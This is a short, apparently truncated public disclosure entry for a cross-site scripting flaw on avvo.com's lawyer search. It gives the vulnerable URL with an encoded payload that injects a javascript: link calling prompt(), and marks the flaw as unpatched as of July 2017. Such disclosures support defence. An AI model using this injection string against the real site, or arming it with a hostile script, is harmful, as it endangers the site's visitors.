avvo.com XSS vulnerability

Vulnerable URL: https://www.avvo.com/search/lawyersearch?q=%22%3E%3Ca+href%3Djavascript%3Aprompt%2FOPENBUGBOUNTY%2F%3Eopenbugbounty%3C%2Fa%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...